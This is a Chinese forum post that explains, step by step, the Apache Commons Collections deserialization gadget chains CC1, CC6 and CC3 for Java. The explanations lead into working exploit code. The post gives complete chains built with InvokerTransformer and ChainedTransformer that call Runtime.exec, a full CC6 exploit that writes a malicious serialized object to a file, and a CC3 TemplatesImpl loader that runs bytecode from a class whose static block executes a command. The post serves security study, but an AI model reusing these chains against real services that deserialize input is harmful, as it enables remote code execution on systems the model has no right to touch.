找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2318

积分

0

好友

328

主题
发表于 昨天 12:37 | 查看: 5| 回复: 0

CC1链利用流程图

CC1

环境配置

jdk 这个环境,理论上只有 CC1 和 CC3 链受到 jdk 版本影响。

需要下载8u71之前的版本,因为8u71版本已经修复了相关漏洞。

Maven依赖配置如下:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

注意,Maven下载的源码class文件有时不能正常调试。

调试环境中的代码结构

危险方法分析流程

利用链详情

CC1链逆向分析流程图

确定恶意类,找到恶意方法Transformer,从此方法向上推

Apache Commons Collections 3.2.2 包结构

1.定位到恶意方法-Transformer

首先定位到核心接口 Transformer,它定义了一个将输入对象转换为输出对象的方法。
Transformer接口定义

2.查看他的实现类,需要找到一个可任意参数调用的方法

查看 Transformer 接口的实现类,目标是找到一个可以接收任意参数进行调用的方法。
Transformer接口及部分实现类

3.InvokerTransformer类可序列化,可任意调用函数,同时使用了transform方法

InvokerTransformer 类符合要求,它实现了 Serializable 接口,并且其 transform 方法可以利用反射机制动态调用任意方法。
InvokerTransformer类定义及getInvoker工厂方法
InvokerTransformer的getInvoker方法

4.构造普通反射调用calc

首先,我们尝试用普通的Java反射来执行命令。

package ysoserial.payloads.test;
import java.io.*;
import java.lang.reflect.Method;

public class CC1 {
    public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        Class c = Runtime.class;
        Method execmethod = c.getMethod("exec", String.class);
        execmethod.invoke(r, "calc");
    }
    // 序列化与反序列化方法省略...
}
5.通过InvokerTransformer的方法实现反射

接着,我们使用 InvokerTransformer 来达成同样的反射调用。
InvokerTransformer的transform方法实现1
InvokerTransformer的transform方法实现2

public class CC1 {
    public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
    }
}
6.查找上层哪些方法调用了transform,需要找到一个不同名字的调用

现在需要找到在反序列化过程中,哪些类的readObject方法会调用transform。我们发现TransformedMap中的方法调用了它。
寻找调用transform的上层方法
Map相关类中的transform调用

7.进入TransformedMap类,发现checkSetValue调用valueTransformer.transform

TransformedMap 类中,checkSetValue 方法调用了 valueTransformer.transform(value)。这是一个受保护的方法。
TransformedMap.checkSetValue方法

8.查找构造函数

由于checkSetValue是受保护的,我们查看其构造函数,并找到一个公共的静态工厂方法 decorate
TransformedMap构造函数
该方法接受一个Map、一个键转换器和一个值转换器,并返回一个装饰后的Map。我们主要利用 valueTransformer 参数来传入我们的 InvokerTransformer
TransformedMap.decorate方法

9.checkSetValue被AbstractInputCheckedMapDecorator类调用,MapEntry类

checkSetValue 方法在 AbstractInputCheckedMapDecorator.MapEntry.setValue 中被调用。
AbstractInputCheckedMapDecorator.MapEntry

10.目前条件是需要遍历map触发MapEntry类

所以,利用链目前是:修饰过的Map -> AbstractInputCheckedMapDecorator.MapEntry.setValue -> checkSetValue -> TransformedMap.valueTransformer.transform(value)
MapEntry.setValue调用链
我们可以编写测试代码手动触发:

public class CC1 {
    public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","aa");
        Map<Object,Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
        for(Map.Entry entry:decorate.entrySet()){
            entry.setValue(r); // 遍历并设置值,触发transform
        }
    }
}
11.查找有没有readObject直接调用了AbstractInputCheckedMapDecorator.MapEntry.setValue

我们的目标是实现反序列化漏洞利用,因此需要找到一个类在其readObject方法中直接或间接调用了MapEntry.setValue
寻找触发setValue的readObject方法

12.在AnnotationInvocationHandler类中查找可控参数

sun.reflect.annotation.AnnotationInvocationHandler 类的 readObject 方法中,存在对 memberValues.entrySet() 的遍历和 setValue 调用。其构造函数参数 typememberValues 都是可控的。
AnnotationInvocationHandler构造函数及memberValues
由于该类是默认包权限,需要通过反射获取。

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> map = new HashMap<>();
        map.put("key","aa");
        Map<Object,Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationhandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationhandlerConstructor.setAccessible(true);
        Object o = annotationInvocationhandlerConstructor.newInstance(Override.class,decorate);
        serialize(o);
        unserialize("ser.bin");
    }
    // 序列化与反序列化方法...
}
13.利用链到这基本完成,现在需要对runtime.getruntime方法进行序列化,和对memberValues所需的两个判断条件进行添加

当前的利用链直接将 Runtime 对象放入 TransformedMap 并序列化。但 Runtime 类本身没有实现 Serializable 接口,无法被序列化。我们需要通过反射链来动态获取 Runtime 实例。同时,需要满足 AnnotationInvocationHandler.readObject 中遍历 memberValues 时的条件。

14.Runtime.getRuntime反射调用

使用反射来调用 Runtime.getRuntime()

Class c = Runtime.class;
Method getRuntime = c.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntime.invoke(null, null);
Method execmethod = c.getMethod("exec", String.class);
execmethod.invoke(r,"calc");
15.改写getRuntime,transform利用链

将上述反射调用改写为使用 InvokerTransformer 的链式调用:

Object getRuntimeMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);
16.通过ChainedTransformer进行链式调用

使用 ChainedTransformer 将多个 Transformer 串联起来,按顺序执行。

Transformer[] transformers = new Transformer[]{
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
    new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

Constructor案例说明

在Java反射中,Constructor 对象用于创建类的实例。

  • getConstructors():获取类的所有公共构造方法。
  • getDeclaredConstructors():获取类的所有构造方法,包括私有构造方法。
  • getParameterTypes():获取构造方法的参数类型列表。
  • newInstance(Object... initargs):创建类的对象,并调用构造方法进行初始化。

示例:

Class<?> c = Class.forName("com.example.MyClass");
Constructor<?> constructor = c.getConstructor(String.class, int.class);
Object obj = constructor.newInstance("hello", 123);

CC1 LazyMap链

CC1还有另一条利用链,基于 LazyMap

1.定位恶意类LazyMap

LazyMap 类的 get 方法中,如果key不存在于map中,会调用 factory.transform(key)
LazyMap.get方法

public Object get(Object key) {
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}
2.factory方法本体

factoryLazyMap 的一个成员变量,类型为 Transformer
LazyMap中的factory字段及decorate方法
我们可以通过 LazyMap.decorate 方法创建 LazyMap 并传入恶意的 Transformer

public class LazyDecorateCalc {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorateMap = LazyMap.decorate(hashMap, invokerTransformer);
        // 通过反射调用get方法触发
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
        lazyGetMethod.setAccessible(true);
        lazyGetMethod.invoke(decorateMap, runtime);
    }
}

CC6

流程图

Gadget chain:
    java.io.ObjectInputStream.readObject()
        java.util.HashSet.readObject()
            java.util.HashMap.put()
            java.util.HashMap.hash()
                org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                    org.apache.commons.collections.map.LazyMap.get()
                        org.apache.commons.collections.functors.ChainedTransformer.transform()
                        org.apache.commons.collections.functors.InvokerTransformer.transform()
                        java.lang.reflect.Method.invoke()
                            java.lang.Runtime.exec()

CC6链调用流程图

利用链详情

1.前半条链与CC1相同

利用 InvokerTransformerLazyMap 构建基础恶意调用。

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
    new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
2.通过TiedMapEntry实现HashMap

TiedMapEntry 的构造方法需要一个 Map 和一个 key,我们将 lazyMap 传入。
TiedMapEntry构造函数

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
3.调用HashMap.readObject

HashMap 在反序列化 readObject 时,会对key计算哈希值,调用 key.hashCode()。而 TiedMapEntry.hashCode() 会调用 getValue(),进而触发 lazyMap.get()
HashMap.readObject中调用hash(key)
HashMap.hash方法
因此,需要把 HashMap 的key设置为 tiedMapEntry

4.put方法修改

HashMap 在写入key时使用了 put 方法,该方法内部会计算哈希并可能触发我们构造的链。为了避免在构造POC时就执行命令,我们先传入一个无害的 Transformer(如 ConstantTransformer(1)),在序列化前再通过反射替换为真正的恶意链。同时,需要移除 lazyMap 中因 put 测试而自动生成的键值对。
HashMap.put方法
完整CC6 EXP如下:

package test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
            new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");

        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"bbb");
        lazyMap.remove("aaa"); // 移除测试生成的键,确保反序列化时触发get

        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer); // 反射替换为恶意Transformer链
        serialize(map2);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oss.writeObject(obj);
    }
    public static void unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object object = ois.readObject();
    }
}

CC3

流程图

CC3这条链与CC1和CC6不同,前两者是利用命令执行,而CC3是利用 ClassLoader#defineClass 进行代码执行。
ClassLoader加载类流程

  1. loadClass(): 从已加载的类缓存、父加载器等位置寻找类(双亲委派机制)。
  2. findClass(): 通常由子类实现,用于根据名称或位置加载 .class 字节码,然后调用 defineClass
  3. defineClass(): 将字节码处理成真正的Java类。它只加载类,不执行,需要后续实例化(newInstance)。

利用链详情

1.跟进defineClass

在Java中,defineClass 通常是受保护的。我们需要找到一个在反序列化过程中可被触发且能加载任意字节码的公有方法。在 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类中,defineTransletClasses 方法内部调用了 TransletClassLoader.defineClass。而 getTransletInstance 方法调用了 defineTransletClassesnewTransformer 这个公有方法又调用了 getTransletInstance
TemplatesImpl.getTransletInstance方法
TemplatesImpl.newTransformer方法

2. TemplatesImpl利用

因此,调用路径是:TemplatesImpl.newTransformer() -> getTransletInstance() -> defineTransletClasses() -> defineClass

TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();

进入 getTransletInstance,需要满足 _name 不为 null,且 _classnull 才会调用 defineTransletClasses
TemplatesImpl.getTransletInstance方法详情

3.defineTransletClasses函数分析

TemplatesImpl.defineTransletClasses方法
需要确保 _bytecodes(字节码数组)和 _tfactory(TransformerFactoryImpl实例)不为null。

  • 初始值_bytecodes:需要一个二维字节数组。我们需要将恶意类的字节码放入。
    Field bytecodes = n.getDeclaredField("_bytecodes");
    bytecodes.setAccessible(true);
    byte[] code = Files.readAllBytes(Paths.get("D://tmp/class/test.class"));
    byte[][] bytecodesArray = {code};
    bytecodes.set(templates,bytecodesArray);

    恶意类示例(需继承AbstractTranslet):

    package test;
    import java.io.IOException;
    public class Test extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xalan.internal.xsltc.TransletOutputHandler handler) {}
    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xalan.internal.xsltc.serializer.SerializationHandler[] handlers) {}
    }
  • 初始值_tfactory_tfactorytransient 修饰,但类在 readObject 中会对其重新初始化。我们直接通过反射为其赋值即可。
    Field tfactory = n.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
4.解决报错问题

运行上述代码可能会遇到 NullPointerException,问题在于 _auxClassesnull,且 _transletIndex-1。根据 defineTransletClasses 中的逻辑,加载的类必须继承自 ABSTRACT_TRANSLET(即 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet),这样 _transletIndex 才会被正确设置,_auxClasses 也不会被用到。因此,确保我们的恶意类正确继承即可。

完整CC3利用代码(直接调用):

public class CC3 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class n = templates.getClass();

        Field name = n.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaa");

        Field aClass = n.getDeclaredField("_class");
        aClass.setAccessible(true);
        aClass.set(templates,null);

        Field bytecodes = n.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D://tmp/class/test.class"));
        byte[][] bytecodesArray = {code};
        bytecodes.set(templates,bytecodesArray);

        Field tfactory = n.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());

        templates.newTransformer(); // 触发漏洞
    }
}

CC3原版链(结合Transformer)

原版CC3链不是直接调用 newTransformer,而是将其整合到 Transformer 利用链中,利用 InstantiateTransformer 来触发 TrAXFilter 的构造函数,从而调用 TemplatesImpl.newTransformer

流程图

CC3原版链流程图

1.确定利用类

TrAXFilter 的构造函数内部调用了 (Templates)templates.newTransformer()。虽然 TrAXFilter 本身不可序列化,但我们可以找到一个调用其构造函数的 Transformer

2.利用InstantiateTransformer

InstantiateTransformertransform 方法可以用于实例化一个类。我们用它来实例化 TrAXFilter,并传入我们构造好的 TemplatesImpl 对象作为参数。
InstantiateTransformer.transform方法

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
3.整合到ChainedTransformer中

将其与一个 ConstantTransformer 组合,放入 ChainedTransformer

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

然后,就可以将这个 chainedTransformer 设置到 TransformedMapLazyMap 中,再通过 AnnotationInvocationHandlerTiedMapEntry/HashMap 等链触发,这与CC1和CC6的后半段利用是类似的。这种链式设计体现了系统设计与漏洞利用中的巧妙思路。




上一篇:Python邮件发送:smtplib实现QQ邮箱集成与量化策略通知
下一篇:ETF折溢价套利策略解析:无风险套利的原理、操作与量化门槛
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-1-18 16:35 , Processed in 0.218953 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表